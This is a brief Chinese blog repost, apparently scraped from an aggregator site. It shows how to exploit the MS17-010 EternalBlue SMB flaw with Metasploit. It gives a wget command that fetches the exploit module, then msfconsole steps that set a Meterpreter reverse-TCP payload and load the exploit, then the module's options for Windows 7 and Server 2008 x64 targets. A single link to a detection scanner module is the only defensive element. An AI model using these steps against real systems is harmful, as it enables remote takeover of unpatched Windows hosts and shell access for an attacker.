MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

来源：互联网发布：淘宝虚拟物品退款编辑：程序博客网时间：2024/05/19 02:43

参考：
https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue

wget "https://raw.githubusercontent.com/rapid7/metasploit-framework/6d81ca42087efd6548bfcf924172376d5234a25a/modules/exploits/windows/smb/ms17_010_eternalblue.rb" -O /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_eternalblue.rb

这里写图片描述

msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcppayload => windows/x64/meterpreter/reverse_tcpmsf exploit(handler) > use exploit/windows/smb/ms17_010_eternalbluemsf exploit(ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):   Name                Current Setting  Required  Description   ----                ---------------  --------  -----------   GroomAllocations    12               yes       Initial number of times to groom the kernel pool.   GroomDelta          5                yes       The amount to increase the groom count by per try.   MaxExploitAttempts  3                yes       The number of times to retry the exploit.   ProcessName         spoolsv.exe      yes       Process to inject payload into.   RHOST                                yes       The target address   RPORT               445              yes       The target port (TCP)Exploit target:   Id  Name   --  ----   0   Windows 7 and Server 2008 (x64) All Service Packs

额外可参考metasploit的检测模块：
https://www.rapid7.com/db/modules/auxiliary/scanner/smb/smb_ms17_010

阅读全文

0 0